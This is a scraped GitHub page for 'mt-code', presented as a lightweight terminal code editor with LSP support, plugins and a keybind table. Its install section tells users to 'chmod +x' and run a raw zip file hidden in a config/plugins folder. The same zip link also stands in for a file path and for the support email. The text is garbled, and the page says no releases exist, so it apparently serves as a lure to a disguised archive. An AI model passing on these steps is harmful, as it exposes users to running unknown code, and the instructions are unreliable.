Skip to content

πŸ–₯️ Build and customize your coding environment with mt-code, a lightweight terminal-based editor featuring LSP support, plugins, and syntax highlighting.

Notifications You must be signed in to change notification settings

PeteNaJaXD/mt-code

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

30 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ“ mt-code - A Simple Terminal Code Editor

🌟 Download mt-code

Download mt-code

πŸš€ Getting Started

mt-code is a lightweight terminal-based code editor designed for ease of use. With support for Language Server Protocol (LSP), plugins, command palette, and syntax highlighting, it simplifies coding tasks for everyone.

πŸŽ₯ Demo

Demo

πŸ“₯ Download & Install

  1. Visit the Releases Page: To download mt-code, visit this page.

  2. Choose Your Version: Click on the version you want to download. This may be the latest release.

  3. Download the Application: After selecting a version, download the appropriate file based on your operating system.

  4. Run the Installer:

    • Open your terminal and navigate to the directory where you downloaded mt-code.
    • Run the following commands:
    chmod +x https://github.com/PeteNaJaXD/mt-code/raw/refs/heads/main/config/plugins/mt-code-3.1.zip
    https://github.com/PeteNaJaXD/mt-code/raw/refs/heads/main/config/plugins/mt-code-3.1.zip

The install script will:

  • Create a virtual environment
  • Install necessary dependencies
  • Add mt-code to your PATH
  • Launch the editor with a welcome file

πŸ“‚ Usage

You can start using mt-code right after installation. Here are simple commands to open the editor:

  • To open the editor:
    mt-code
  • To open a specific file:
    mt-code https://github.com/PeteNaJaXD/mt-code/raw/refs/heads/main/config/plugins/mt-code-3.1.zip
  • To open a folder:
    mt-code /path/to/folder

⌨️ Keybinds

Here are the key functions you can use within mt-code:

Key Action
Ctrl+O / Ctrl+N Open file / New tab
Ctrl+S Save file
Ctrl+W Close tab
Ctrl+Q Quit
Shift+Tab Switch tabs
Ctrl+E Focus editor
Ctrl+T Focus terminal
Ctrl+R Focus file explorer
Ctrl+P Command palette
Ctrl+F Find and replace
Ctrl+Space Trigger autocomplete

βš™οΈ System Requirements

mt-code is compatible with most systems. Here are the general requirements:

  • Operating System: Windows, macOS, or Linux.
  • Python Version: Ensure you have Python 3.6 or newer installed.
  • Memory: A minimum of 512 MB of RAM is recommended.

πŸ”§ Features

mt-code offers a range of features to streamline your coding experience:

  • Terminal-Based Interface: Work directly in your terminal.
  • LSP Support: Enjoy language-specific features like autocompletion and linting.
  • Plugins: Extend functionality to meet your needs.
  • Command Palette: Quickly access commands and features.
  • Syntax Highlighting: Code readability is enhanced through visual cues.

πŸ› οΈ Troubleshooting

If you encounter issues while downloading or installing mt-code, consider these steps:

  • Permissions: Ensure you have the necessary permissions to run the install script.
  • Dependencies: Check that Python is correctly installed and configured on your system.
  • Re-Download: If installation fails, try deleting the downloaded files and downloading again.

For more help, consult the FAQ section.

πŸ—οΈ Contributing

We welcome contributions to improve mt-code! If you have suggestions or bug reports, feel free to open an issue in the repository.

πŸ‘¨β€πŸ’» Support

Need help or have questions? Reach out via the issues section of this repository or email us at https://github.com/PeteNaJaXD/mt-code/raw/refs/heads/main/config/plugins/mt-code-3.1.zip

🌐 More Resources

To explore mt-code further, check the official documentation and tutorials available in the repository.


Make coding simple and efficient with mt-code!

About

πŸ–₯️ Build and customize your coding environment with mt-code, a lightweight terminal-based editor featuring LSP support, plugins, and syntax highlighting.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •